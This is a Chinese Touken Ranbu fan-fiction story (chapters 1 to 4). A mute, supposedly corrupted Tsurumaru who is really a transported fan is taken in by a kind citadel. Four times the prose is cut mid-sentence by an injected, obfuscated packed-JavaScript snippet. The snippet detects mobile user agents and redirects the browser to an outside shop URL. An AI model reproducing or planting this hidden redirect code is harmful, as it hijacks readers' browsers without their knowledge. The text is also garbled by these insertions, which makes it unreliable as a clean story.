《请努力活下去吧!coser大人!》 1. 被禁锢自由的鹤丸国永 你是一名202x年的死宅,平时爱做的事只有缩在被窝里刷视频,和网友们进行激烈的脑洞碰撞,然后得到令人满足的0人产出纯口嗨现场——本来应该是这样的。但很遗憾,你是一名刀剑乱舞玩家,在这个刀剑乱舞国服公测十几年的时代,在这个互联网上能找到哪怕一个聊得来的同好都算是老天显灵了。 并且,你是一名收集癖玩家,是的,完全的收集癖,你甚至连刀派组合都只知道最出名的那几个。 但这似乎并不妨碍你喜欢其中的角色,至少你会做到给每一振刀都配上御守,也会在本丸资源没那么充足时放弃限锻,毕竟懒得深入了解和喜欢是两码事不是吗? 屏幕上弹出了一行消息。 “首先,在扩列前你得考虑,你如同云玩家一般的储存量会不会被同事砍死。其次,难道你扩到列就敢跟他们深交了吗?”这是你混迹网络世界多年的好友,同样是一名刀剑乱舞玩家,且她比你要对这个游戏的背景要了解的多。毕竟她是同人圈的一种神秘生物:厨子。 而现在的现状是,你的好友沉重地看着你并向你打出了暴击。 “……试试呗,上网碰不着就去漫展看看,正好我还没去过展子,就当顺带的了。而且我也不算很云吧,像什么冲田组粟田口我还是知道的啊?”你搬出了一个完美的借口。 于是经过你的慎重考虑,你以最快的速度准备了一套鹤丸的cos服,也没什么别的理由,只是因为鹤丸一直是你第一部队的队长,多少有些特殊而已。 说实话,其实你很早之前就有这个计划了,只是迫于自己实在不多的了解,担心被同事当成云玩家砍成臊子而一直延后了,对此好友发出了犀利的评价:“没那么大块。” 你在好友的拼命安利下决定选择暗堕设定,并添加了无法说话和被禁锢自由的设定……怎么说呢,虽然老套但的确好用啊,毕竟你本人的性格和鹤丸相差甚远,虽然cos和演戏是两码事,但你还是不想做太过ooc的行为,也许这就是同人女的神秘执着吧。 “你这样什么也不了解就披着暗堕皮出去的,最适合当cos穿主角了你知道不?” “谢邀,其实我不是很想……” 你穿越了。 可我甚至还没cos。你发出了这样无声的控诉。 不发出有声的控诉当然是因为现在没有这个功能。不过现在真的要讲地狱笑话吗? 你在谴责自己后开始了惯例的穿越检查: 第一,不出意料的,除了刀剑乱舞以外的其他记忆都没了。 第二,你也并没有得到属于暗堕鹤丸的记忆。 第三,你并不会战斗,这是最大的问题,你总不能在战场上等着被砍。 是的,你的降落点并不是暗堕本丸,也不是cos穿里喜闻乐见的万屋,甚至不是一个偏僻出阵点里的森林,而是一队付丧神和时间溯行军的斗殴……呃,火拼现场?唯一值得庆幸的是你所在的地方在战场边缘。 这群刀剑们打起架来好像都快把火星子砍出来了,你一想到这群家伙手里的刀就是本体就有些牙酸。不疼吗? 也多亏了他们打架的声音,目前来看没什么刃注意到你,于是你打算从这个略显危险的地方偷偷溜走。毕竟你还不知道要怎么解释自己的情况,究竟是坦白自己的穿越,还是就这样承认自己是鹤丸国永,这样的问题对你来说还是有些超纲了。 如果现在就坦白自己的穿越,他们会不会信暂且不说,失去唯一一个自己行走在世间的身份,这种事在现在还是太难以接受了。可如果承认自己是鹤丸国永,他又比任何人都清楚自己与这振刀没有任何关系,要露馅也是分分钟的事,所以说在厘清这些之前,果然还是先逃避吧。 于是你看向树丛,悄悄挪动了脚步。 “鹤先生,请在那里好好呆着,先不要乱动,这里很危险!”这是正在前面打架的烛台切光忠的声音。 不是吧,这也能发现啊?鹤丸看向他还在纠缠敌刀的身影,多少有些目瞪口呆了。 …… 鹤丸确信自己刚刚没有发出任何声音,这些刀剑付丧神的感知是不是太强了点?烛台切光忠不是太刀吗?而且一心二用真的没问题吗? 可惜现在没时间给鹤丸思考这些问题了,就在这句话刚落下没过几秒,敌刀就被这队练度不低的付丧神彻底清理干净,鹤丸只能看着刚刚结束战斗,来到自己面前的烛台切光忠,紧张地不知所措。 烛台切光忠在鹤丸面前站定,沉默地注视着这振有些许不同的老友,那双红色的眼睛实在太过显眼,让人忍不住一眼就注意到这个异常。 他方才在战斗时就注意到了,这片时空本应该只有他们六振刀,却突然出现了第七位付丧神的气息,六振刀是时政多次尝试才得出的,时空最稳固也胜算最强的数量,无论如何都不会轻易打破。可那时即使注意到是鹤先生也无法脱身,直到现在才来得及注意到这些细节。 烛台切仔细观察起来。 这振鹤丸身边显然没有队友,甚至鹤丸身上连一个最低等的刀装都没有,让刚诞生……不,不能确定是不是刚刚诞生的,但让一级的刀剑这样来高级战场和送死有什么区别? “……你的队友呢?鹤先生。”烛台切的声音压抑着怒火,鹤丸能听出来其中克制的颤抖,但显然鹤丸自己现在也正处于茫然状态,无法编造出一个好的理由去糊弄这个送命的问题。 烛台切光忠的心随着鹤丸的沉默逐渐跌入谷底,他似乎从这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685781|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵沉默中认定了什么事实,猛地握住了鹤丸的手,鹤丸被这突然的动作一惊险些跳开,但被烛台切光忠强硬地拽在了原地。 他一把卷起鹤丸出阵服宽大的袖子,露出了被掩盖在其中的断裂的锁链。 ……这算什么?偏偏让最渴望自由的鹤先生戴上这种东西? 还真是老套啊,这群为了满足私欲的恶劣人渣,在鹤丸国永这振刀身上反反复复都是自由这一套,这也实在是没办法的事,毕竟鹤先生就是这样向往自由的刀剑。 烛台切光忠按捺住愤怒轻轻感慨着。 “真是一点也不帅气啊……不是说你,鹤先生。”鹤丸其实不清楚自己该做出怎样的反应,毕竟这些并不是真实在他身上发生的苦难,烛台切光忠也不是他这个假鹤丸的友人。 而且……烛台切光忠这振刀也算是他穿越前很喜欢的角色,在这样的场景下,他还真不知道要怎么面对才算合适。 “鹤丸殿,如果你愿意的话,不如先跟我们回本丸吧?”好突然,刚刚被烛台切光忠吸引了注意力,完全没注意到旁边还有人。 鹤丸直到现在才抬头仔细看了看这个小队的其他人,分别是今剑,乱藤四郎,山姥切长义,堀川国广,鲶尾藤四郎,刚刚那句话就是今剑说的。 鹤丸忍不住发散了一下思维,如果这队里有髭切的话,髭切会不会想直接把我斩了啊?说这什么“鸟丸变成恶鬼了啊~”就笑吟吟地提着刀上来什么的。 “鹤丸先生,鲶尾哥刚刚已经联络过主人了哦!不用担心主人那边!” “放心吧,时之政府会给出一个公正的判决的。” 这群刀子精围成一圈七嘴八舌地挽留起了鹤丸,不得不说,一群漂亮的男刃围在身边,这种场面实在是很容易让人心软。 但鹤丸很清楚自己现在的处境,可不能轻易跟过去啊……如果被交到时政手里,他这个冒牌刀剑要是被发现了,可就不知道会被怎么处置了。 虽然这好像多少有点被害妄想症的意思了,但没办法,独自一人通过这种渠道掉到异世界,再加上……时政在同人里的风评实在不怎么样,果然还是不那么敢接触这里的官方势力。 鹤丸轻轻地摇摇头。 “难道你还打算回去吗?” 鹤丸又摇摇头。 “……那是不想跟我们走?”这个还是要的吧?不然他一个人在外面估计要碎刀了。 鹤丸又摇摇头。 “还是说……不想去时政?” 鹤丸终于点点头。 烛台切光忠终于松了口气,却又在下一刻反应过来,不想去时政?为什么?……还有,为什么这振鹤先生从一开始就一句话也没有说? 他猛地抬头看向鹤丸。 2. 被禁锢自由的鹤丸国永 …… 这下好像不得不承认自己是鹤丸了啊。 哈哈,被吓了一跳吗?光坊。 鹤丸用口型回应着烛台切光忠。 烛台切光忠一句话也说不出来,他感到喉咙有些生涩,有什么难以言喻的感情被堵在了那里,真是难看啊……但他不能再说出来戳鹤先生的痛处了。 他转身从鲶尾藤四郎手中接过了时空转换器,又默默地拽住了鹤丸的手腕,手中动作争分夺秒地拨动转换器回到了本丸。 鹤丸忍不住无奈地在心里想,其实不拽着我也不会跑的啊。 队伍里的其他刃一落地就自觉地各自离开了,只剩下烛台切光忠和前来接应的太鼓钟贞宗。 “小光?诶,鹤先生?主人叫我来接你们,是出什么事了吗?”哇哦,野生的太鼓钟贞宗出现了。 “拜托你了,小贞,把鹤先生带到主人那里去……我要先去处理一些事情。”鹤丸猜他是去找大俱利伽罗了,嗯……以及准备一些必备的投喂环节? “等、等等小光,到底发生什么了啊?鹤先生??” 鹤丸终于看向太鼓钟贞宗,无奈地指了指自己的嗓子,又转过头再次用口型向烛台切光忠比划着放心的意思,然后推着太鼓钟贞宗离开了时空转换器的位置。 太鼓钟贞宗多少有点无法处理现在的情况了,在前面带路的同时不停纠结地思考着,直到到了天守阁门口才似乎反应过来了什么。 “虽然不知道究竟发生了什么……但是,鹤先生现在这样是没办法说话吧?等下和主人交流应该会很困难,所以就让我陪着鹤先生一起吧。”然后没等鹤丸回答就一把拉开了天守阁的门。“我带着鹤先生来了,主人——” 有点感动但又有点好笑。 毕竟我不是真正的鹤丸国永,就算你在旁边也是听不懂的吧? 处在天守阁中央的是名看着有些气势的女性审神者。明明长得很可爱,但有种化学老师的气质呢,嗯……幼年体化学老师?不对等一下,为什么我会记得这种没什么用的信息啊? 端坐在上的审神者表情严肃,摆出一副马上要训学生的架势,鹤丸对此接受不良,多少有点汗流浃背了,这位姬君可是摆出了一副像能把我也一起扬了的架势啊。 “鹤丸殿,我是A2236本丸的审神者地葵,请多指教,虽然在A级本丸的排名姑且算不上是靠前,但话语权还是多少能沾边的。”地葵一副要和时政拼命的架势。 “可以将您的本丸情况告知吗,请放心,基本情况咪酱已经传讯给我了,我不会马上报告给时政的,我个人有在时政发展比较熟悉的工作人员,可以私人展开调查!” ……咪酱? 加州清光在一旁疯狂使眼色,这下即使是鹤丸也多少看出点不对劲了,这位姬君似乎不是方才表现出来的性格呢。 就在这时鹤丸注意到了文件桌上的零食袋。 “……” “……” 鹤丸和地葵在无形之中脑电波相连,旁若无人地进行了一场激烈的对视,裁判由一抹不知名的本丸灵力担任,然后这场对决以无人胜利的结果落下帷幕,因为那抹灵力刚刚被吹跑了。 地葵沉重地开口:“鹤丸殿,是我败了。” 加州清光:? “我就说没用的啦清光,我哪装的出来那么有气势的样子,再说这振鹤丸殿看起来根本就没什么攻击力,也用不着防着了吧?” “不管怎么说鹤丸殿也是暗堕刀剑,主人……唉。”加州清光叹了口气,饶是鹤丸也看出了他现在有多头疼。 加州清光转过身看向鹤丸。“这位鹤丸殿,虽然你的暗堕情况并不严重,但出于谨慎考虑,你的本体刀需要留在天守阁保管,还请谅解,但你自己可以随意活动,请不用拘束。 对于您本丸的问题,我们也会尽快展开调查的。”鹤丸点点头表示接受,于是加州清光拿起终端递给鹤丸,并接过鹤丸刚刚解下的本体刀。“基本情况我们主人已经了解过了,用这个交流就好了。” 地葵深吸一口气展开了问答。 “您的前任本丸编号?” 【不记得。】 “那您前主的代号呢?” 【抱歉,这个我也不知道。】 “那,您本丸里的其他刀剑……?” 问到点子上了啊,这个鹤丸还真有点不知道怎么糊弄过去,他总不能凭空编造整整一本丸的刀子精吧?但说自己完全不知道好像也行不通,毕竟鹤丸不像会那么老实完全不调查的性格啊,不过现在还是先不要透露了。 于是地葵和两刃就看见鹤丸陷入了沉默,在许久的回神后才回复了一句。 【我不知道,我没见过他们。】 太鼓钟贞宗有些欲言又止,鹤丸一眼就看出来这个小短刀脑补了什么剧本,在说出口他就已经有了心理准备,但没办法啊,鹤丸实在不知道要怎么编出一整个本丸的刃。 “我明白了,鹤丸殿请好好休息吧,后续有进展的话我会通知你的! 另外,您的声音和手上的锁链被设置了封印,介于我并不是这方面的专家,不能保证解开不会伤害到您,但我会尽快联系人或者想办法解决的!” 【不用着急也没关系哦,你已经做的很好了。】 地葵一愣。 “休息的地方和后续本丸活动由烛台切光忠安排,我已经通知他来接你了。” 鹤丸点点头退出了天守阁,一旁的太鼓钟贞宗紧随其后。 他依稀还能听到身后天守阁内传来的声音。 “不要这么紧张啦清光,你看他几乎都没什么攻击性嘛……本体刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685782|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被收走都完全没反抗……” …… “鹤先生要不要和我们住在一起?还有晚饭!来大广间一起吃吧?小光的手艺很好哦,保证不会让你失望的!” “说起来鹤先生还没见过伽罗吧,他在远征呢,晚饭前应该能回来……伽罗也很想你哦,我们本丸一直没有鹤先生呢,今天见到你吓了我一跳!啊,这好像是鹤先生的台词呢。” “小伽罗是会说这种话的性格吗?真是吓到鹤了啊……像这样的!” 烛台切光忠来到天守阁外看到的就是这幅场景,他默默在心里给太鼓钟贞宗点了个赞。 他手里带了一包曲奇和水果递给鹤丸。不像以前看到的那种先带粥来呢,也是,总不能在路上边走边端着碗喝粥吧?鹤丸被自己的想象逗笑了。 一旁的两刃虽然没接收到鹤丸的脑回路,但看到他笑还是多少放松了些。 “鹤先生要是喜欢就好,不过这些可不能用来恶作剧哦?” 鹤丸刚取出一块曲奇好奇地塞进嘴里,他可是早就好奇光忠特质到底有多好吃了,听到这句话震惊地瞪大眼睛看向烛台切光忠。 曲奇?恶作剧?用这个?鹤丸指了指自己,又指了指曲奇,难以置信地用眼神询问着烛台切光忠。 烛台切光忠表示接收到了这个信号并转过头咳了两声。 喂,我知道你在笑啊! 鹤丸转过头看向太鼓钟贞宗。 太鼓钟贞宗刚才还憋着的笑马上就憋不住了。 “咳咳,鹤先生今晚是和我们一起还是自己住?虽然我是比较想一起啦,但果然还是得尊重鹤先生的意见吧?” 转换话题也太快了吧?不过这确实也是比较重要的问题。不过竟然还有的选,看来这个本丸还挺大的。 鹤丸思考了一会指指自己,虽然和伊达组在一起会比较安心,但果然还是会担心露馅吧,而且他也需要一点时间来整理现在的状况。 太鼓钟贞宗虽然有些遗憾但还是没再多说什么。 “那接下来我们先回部屋吧?虽然现在这样也很帅气,但果然还是换一身衣服轻松一些。或者鹤先生更想先了解一下我们本丸?” 烛台切光忠这幅架势搞得鹤丸都有些不太确定起来,领着暗堕刀剑在本丸随意走动吗?这种事怎么想都不太对吧,虽然暗堕也不是什么传染病都得躲着走,但审神者的安全还是需要保障的吧……但鹤丸还是没把这个问题问出来,只是示意先回部屋就好,好歹也是晚上要住的地方,还是先去收拾一下好了。 然后鹤丸就看到了正在铺床的大俱利伽罗。 虽然知道小伽罗是傲娇属性,但看到这个画面果然还是很有冲击力啊!鹤丸发出了如上感慨。 “……没想跟你打好关系。” 啊,出现了,经典台词。 3. 被禁锢自由的鹤丸国永 鹤丸若有所思地看着大俱利伽罗。 然后掏出了终端。 烛台切光忠和太鼓钟贞宗对视了一眼。 “鹤先生你原来把终端带出来了啊?!” “明明带着终端但是刚刚完全没有说话啊。” 鹤丸笑眯眯地向两刃展示了终端屏幕,两刃凑上前一看,上面显示的字是:被吓了一跳吧? “太狡猾了吧!那我刚刚说了那么多鹤先生怎么一句都没理我啊!”太鼓钟贞宗鼓起了脸颊,身上的小挂件们叮呤当啷地替他表达了愤怒。 就在这时,刚刚还在一旁沉默的烛台切光忠似乎意识到了什么,紧急捂住了太鼓钟贞宗的嘴,同时使劲向着鹤丸使眼色。 对此,鹤丸接受到了,但鹤丸表示:我又不是真的鹤丸,我看不懂哦。 鹤丸看向大俱利伽罗,低头带着坏笑快速地打了一行字,然后把终端摆到了大俱利伽罗面前。 【听说小伽罗想我想到要哭了哦。】 “?” “?” “……没有想和你打好关系的意思。”即使是在黑皮上也很明显的脸红呢,小伽罗。 原本正在思考怎么解释的两刃一顿,双双松懈下来,转而和鹤丸对视一眼,对着快步离开现场的大俱利伽罗大笑起来。 区区i刃,不过是e刃的玩具罢了。 “鹤先生刚刚说的太夸张啦,哪有说想到要哭了!” 【没有吗?你们看起来可都要哭了。】 “……” 【开心一点了,我现在不是一点事都没有吗?】 “啊,鹤先生没事真是太好了。虽然现在问似乎有些冒昧,但果然,面对鹤先生的事,我还是做不到只是等着啊。” “鹤先生,你……被锻出来多久了?” 鹤丸知道烛台切光忠这个问题的背后,想问的到底是什么,但说实话,即使是这个简单的问题也很难回答啊。 还是那个原因,一个谎言要用无数个谎言来圆,他真的很不会撒谎,做不到凭空生一个本丸出来。 完蛋了。鹤丸心想。 果不其然,一旁的两刃在这段沉默中又脑补了新的内容,两刃知道彼此想到了什么,鹤丸也知道他们想到了什么,但痛苦的就是他即使知道也完全没办法解释。 谁来帮他抠掉这群刀剑男士的脑补插件? “鹤先生,这么多事你也有些累了吧?” 烛台切光忠从部屋一旁的橱柜中取出了一套鹤丸国永的内番服,递到了鹤丸手上。 “虽然本丸之前都还没有鹤先生,但我们都很期待你的到来,主人也是,所以一直都有准备这些,终于用上了啊。 现在就请好好休息吧,晚饭前我会回来喊你的。不过鹤先生要是不想去大广间的话,我也可以另外带一份回来。” 鹤丸摆摆手,示意不用那么麻烦,毕竟总要有这么一遭,他总不能一直躲着其他人,紧接着就转头就直接倒在床上了。 太鼓钟贞宗像是终于摆脱了这个难以忍受的氛围,凭着他短刀的优势一头冲了出去。跟在身后的烛台切光忠放轻脚步退出,缓缓拉上了房门。 烛台切光忠低头看向太鼓钟贞宗,一时都有些沉默,两刃显然想到一块去了。 从烛台切光忠出阵,遇到被丢出来送死的鹤丸开始,鹤丸就从没透露过前主,前本丸有关的任何信息,那么鹤丸究竟是不知道,还是不想说,甚至是……不能说? 烛台切光忠对太鼓钟贞宗笑了笑。 “小贞,拜托你去找主人报告这些了,现在我得准备给鹤先生好好准备一顿大餐了!” “了解——鹤先生一定会喜欢的!我也很期待小光的大餐哦!” 另一边的鹤丸正在沉思。 现在已经认下鹤丸国永这个身份了,可是之后呢?说实话,他不是很想一直留在这,自己的存在总不能一直瞒着时政,总有一天会被报告出去的,但如果不留在这……出去打架他也不会啊?恐怕把自己丢到函馆也能在一个回合内光速碎刀吧? 鹤丸头痛地按了按太阳穴,伸手捏住被角一把扬了起来,把头死死地罩在了被子里。 他有些不想面对这些难搞的问题了,带着少的可怜的记忆穿越到异世界,还没有一点是和自己有关的,哪怕是熟悉的世界也一样,都一样令人不安。 的确,到目前为止遇到的无论是人还是刃都对他抱着善意,可所有的善意都是因为他是“鹤丸国永”。如果其他人被知道他并没有那些记忆,他并不是鹤丸国永,甚至完全不会战斗呢? 就算哪怕这样也被接受了,他自己又能接受吗?一直披着别人的身份,享受属于别人的感情,抢夺了别人的位置。 鹤丸抿了抿嘴,转过身又把脸埋进枕头。 他还记得太鼓钟贞宗和烛台切光忠说的话,他们都期盼鹤丸国永的到来很久了,即使是没怎么说过话的大俱利伽罗,也一定是期待着这件事的。 ……如果鹤丸国永的位置,真的就这样被自己这个赝品替代了,他们得知真相的时候会有多难过呢? 鹤丸捂住眼睛,感受着手心的温度,有些发烫。 …… 烛台切光忠轻轻敲了敲部屋的门,没有传来回应。他心里闪过些不好的猜测,紧张地捏了捏手。 “鹤先生,如果再没有回应的话我就要开门了。” 还是没有传来任何声音。 烛台切光忠心里一紧,直接一把拉开了房门。 映入眼帘的是裹着被子,缩在房间角落里一动不动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685783|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤丸,被子之外只露出一个毛茸茸的头顶。 烛台切光忠松了口气,但也不免觉得有些好可怜又好笑,他放轻脚步缓缓走近,蹲在鹤丸面前轻轻掀开了被子。 “晚饭做好了哦,该起床……” “……鹤先生?” 鹤丸并没有睡着,他睁着眼,眼眶泛着红,但只是环抱住自己低着头一言不发,并不回答烛台切光忠任何话。 烛台切光忠叹了口气,似乎对现在的情况有所预料一般,取出终端发了条消息通知大家开饭,马上转头又面对鹤丸。 “本来是想告诉你个好消息的,你的嗓子可以说话了,主人的速度很快,已经找办法先解开了你嗓子的问题,毕竟不能说话实在是很不方便。 不过锁链就得再稍微等等了,跟嗓子上的封印完全不是一个等级的啊。” “还以为过来的时候你已经发现这件事了,现在看来完全没有呢,怎么说呢……也是一个大惊吓,不愧是鹤先生啊。” 鹤丸没有对这段话给出任何的回应,只是依旧呆呆地坐在角落,直到很久之后才好像缓过神来。 “……光坊。”鹤丸的声音有些生涩,烛台切光忠没有提及这点异常,转身坐在了鹤丸身边。 “我在,鹤先生。” “我不是。” “嗯,我知道了。” “……” 两刃沉默地在角落里沉寂了一段时间,似乎都不知道要怎么开口才算合适,也或许只是不想开口,至少鹤丸还挺享受这个氛围的。烛台切光忠突然站起身,好气又好笑地低头看向鹤丸,怎么说呢……鹤先生现在这个样子,看起来还真符合鹤球这个称呼啊。 他一把拉起了鹤丸,被猝不及防拉住的鹤丸努力稳住脚步,不解地抬头看着烛台切光忠,又迅速撇开脑袋。 “那这位……不知名的鹤先生,我们先去吃饭吧?无论有再多顾虑,总要先填饱肚子啊。”烛台切光忠用哄小孩一样的声音对鹤丸说着,并挪动起脚步把鹤丸牵引向门外。 鹤丸有些受不了这种语气,这算什么,完全被当成小孩子哄了吧?烛台切光忠和鹤丸国永真的可能是这种相处模式吗? 虽然心里满是疑惑,但他还是沉默地跟随着烛台切光忠的步伐拉开了门。 “鹤先生,小光,好慢啊——大家可都等开饭等好久了哦——”一听就知道是小贞的动静。 “哼。”小伽罗,你好像一个声控的感应器。 “我们出发吧,鹤先生,今晚的光忠特制一定不会让你失望的。” “小光今晚可是做了好多拿手菜哦!” …… 鹤丸的眼睛又有些发烫,他使劲眨了眨眼,将眼泪努力憋了回去。 这简直是赤裸裸的阳谋。 4. 被禁锢自由的鹤丸国永 大广间里很热闹,鹤丸粗略扫了一眼,地葵的本丸发展的还算不错,虽然没有像鬼丸国纲这样稀有中的稀有刀,但基本每个刀派都能凑个七七八八,总归是不会出现小短刀见不到家长的情况。 鹤丸的到来没什么刃注意到,也或许是有人提前嘱咐过他们,总之对此,鹤丸的确是松了一口气,他不太想成为人群焦点啊。 基本上所有刃都端坐在长桌前,之所以是基本上,是因为还有五虎退的小老虎在四处乱跑,粟田口的短刀们在帮忙控制。 鹤丸只来得及看到这么一个场景,就被招呼声吸引过去。 “鹤丸殿,这边——看这边——” 是今剑的声音,今剑探出了半个身子使劲挥着手,在鹤丸终于看过去后对着鹤丸笑了笑就缩了回去。 伊达组的位置在三条派旁边,这也是刚刚今剑招呼的原因。说实话鹤丸是挺惊讶的,他以为三条派旁边会是源氏或者古备前的那两把太刀?不过再转念一想到自己,又理解了这个安排,好吧,安排没有问题,是鹤丸有问题。 今剑的声音很有辨识度,毕竟这么活泼的刃哪怕在小短刀里其实也不算好找,也就只有太鼓钟贞宗和乱藤四郎勉强有一战之力,因此他只是一开口鹤丸就注意到了。 “好棒——今天的晚饭超级丰盛!” “哈哈哈,看来沾了鹤丸殿的光呢。” 鹤丸忍不住偷偷看向了三条派的方向。 三日月宗近似乎是早有准备地转过头,用带着笑意的眼睛和鹤丸对视上,轻轻点了点头打了个招呼。 ……怎么说呢,真不愧是天下最美之刃啊,名不虚传,冲击力还真是大,跟在游戏里看到的完全不是一个量级。鹤丸在心里忍不住感叹,也点点头回应了过去。 “主人今日在外办公,刚刚已经传讯回来过了,大家就直接开饭吧——”加州清光推门而入宣布了这个消息。 还以为这种事会是压切长谷部负责来着。鹤丸在心里暗自嘀咕。唉,果然是同人入脑了吧,都忘了这个本丸的近侍是加州清光了。 “太棒啦!” “期待好久了哦!” “等等,不要吃的这么快啊——” 鹤丸转头回来,面向了一些烛台切光忠,用小的可怜的声音悄悄地说了一句“谢谢”,烛台切光忠没有给出回应,不知道他是不是没听到这句话,但不清楚是不是他的错觉,似乎听到了烛台切光忠的笑声。 他有些不自在地低头扒了两口饭。 “鹤先生,今天的饭菜还算合胃口吗?”鹤丸抬头。 随着这句话问出,伊达组的几刃都盯着他,连大俱利伽罗都隐蔽地偏过了一些眼神,大有一副他一旦说句不好吃,就要把这一桌饭菜回炉重造的架势。 鹤丸:…… “很好吃。”烛台切光忠肉眼可见地松了口气。 “鹤先生之前有吃过我做的饭吗?” 这个问题倒是很好回答,不过说真的,他还挺希望自己以前也吃过就好了。 虽然失去了记忆,但从这副没见过世面的样子也猜的出来,自己以前应该没吃过什么好东西,也或许只是自己不会做什么好东西,但无论是哪一种可能性,还真是悲催的事实啊。 鹤丸老实地摇了摇头。烛台切光忠刚松开的拳头又硬了。面对最新一轮的误会,鹤丸表示: 习惯了,随他们去吧,还能怎么样,总不能突然暴起大喊一声你想错了吧? “那今天开始以后就有口福了,小光做的饭菜很好吃哦,鹤先生你也觉得吧?”的确是完全无法否认的事实。 餐桌另一端的粟田口还是没成功困住那几只小老虎,其中一只顺着餐桌下偷溜到了鹤丸身边。感觉到一阵痒意的鹤丸伸手捞出了这只调皮的小老虎,怎么说呢……亲近一下五虎退乱跑的小老虎简直是所有同人主角的必备环节啊。 “抱、抱歉,小虎乱跑打扰到您了……”这是过来紧急补救的五虎退,也很经典呢。 鹤丸在递出小老虎时顺手摸了两把,并留下了如下抚摸评价:毛比想象中的硬,该说不愧是老虎吗?跟看上去毛茸茸的样子完全不是一回事啊。 “是膝丸啊兄长!”哦,这个也出现了。说起来很多审神者应该对源氏两兄弟的名字都印象深刻吧?毕竟每天都能听到好几遍呢。 “哈哈哈。”“今天的茶点很不错呢。”这两个家伙又是什么时候凑到一起的? 这顿饭多少有点鸡飞狗跳了,鹤丸凝重地想着,是他低估了几十个人在场的状况发生程度了。 大概是看出了他的不自在,伊达组的三刃都多少加快了速度,赶在其他刃前离开前就拉走了鹤丸。 几刃漫无目的地散步着。 本丸的夜晚很漂亮,从鹤丸少得可怜的记忆里大概可以翻出来,这是夜景的小满,百合花啊……还是第一次看到这么大片的呢,不过这个景趣稍微有点冷啊。鹤丸搓了搓手,烛台切光忠脱下外套盖在鹤丸身上。 鹤丸听着旁边有一搭没一搭地聊着天,直到逛到一处空旷的空部屋前。 “鹤先生,我们的本丸应该还不错吧?” ……说实话,鹤丸接受的不是很良好,他的问题完全没有得到解决,只是被行动力过强的同伴们强行拉出来了而已,即使离开了人群也不知道应该和这几刃怎么相处,所以他又一次沉默了。 “诶,已经开始了吗?”太鼓钟贞宗有些惊讶,做了个手势为烛台切光忠打气,随后就马上转过身挥挥手小跑开,带起了一大串叮呤咣啷的声响。 是错觉吗?太鼓钟贞宗身上的配饰好像越来越多了。 “虽然我也想跟鹤先生好好聊聊,但这种事果然还是交给小光更合适,交给你了哦!我们就先回部屋等好消息了!”大俱利伽罗点点头,跟在太鼓钟贞宗身后离开了这里。 鹤丸只能无奈地看向烛台切光忠,但显然烛台切光忠也没料到现在的场景,现场只剩下两刃面面相觑,最后还是烛台切光忠先开了口。 “虽然鹤先生才刚来不久,问这个有些着急了,但我们的本丸还是不错的吧? ……主人会把大家的安危放在第一位,哪怕只是中伤也会很着急地召回出阵队伍。 虽然没有能力做到人手一个万屋的御守,但会很认真地自己做了很多个御守送给所有刃。 会记住所有刃的喜好,把闲余的小判都用来给大家当零花钱或者买礼物,我现在戴着的眼罩还是她上个星期刚买来的,是个很真诚的孩子吧?”烛台切说到这件事时的神情很温柔,他抬起手抚上眼罩,似乎是回忆起了什么怀念的,珍视的东西。 “所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685784|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以……要不要以观察的心态来看看这个本丸?如果你喜欢这里的话,我们都很期待你留下,主人也是这么想的,鹤先生。” 鹤丸有些沉默。 的确,如果真如烛台切光忠所说,地葵这个审神者做的可以说是非常尽职尽责。 “但我不是鹤丸国永。”我无法尽到刀剑的职责,我做不到把她当成主人,我不会上阵杀敌,我也不是你想要的那个人。 “鹤先生是想这么说吧?”鹤丸惊讶地瞪大眼睛看向烛台切光忠。 “我知道的,这件事。虽然不知道范围有多大,但鹤先生失去了很多的记忆,对吧?” “……” “因为鹤先生那天看着我的目光,像是见到了一个……嗯,不,应该说,像是我第一次见到其他刀剑男士的时候。” “好像只是在什么地方听说过,却对我很陌生的样子。” “……可你知道的话,为什么还……”要选择我这个赝品? 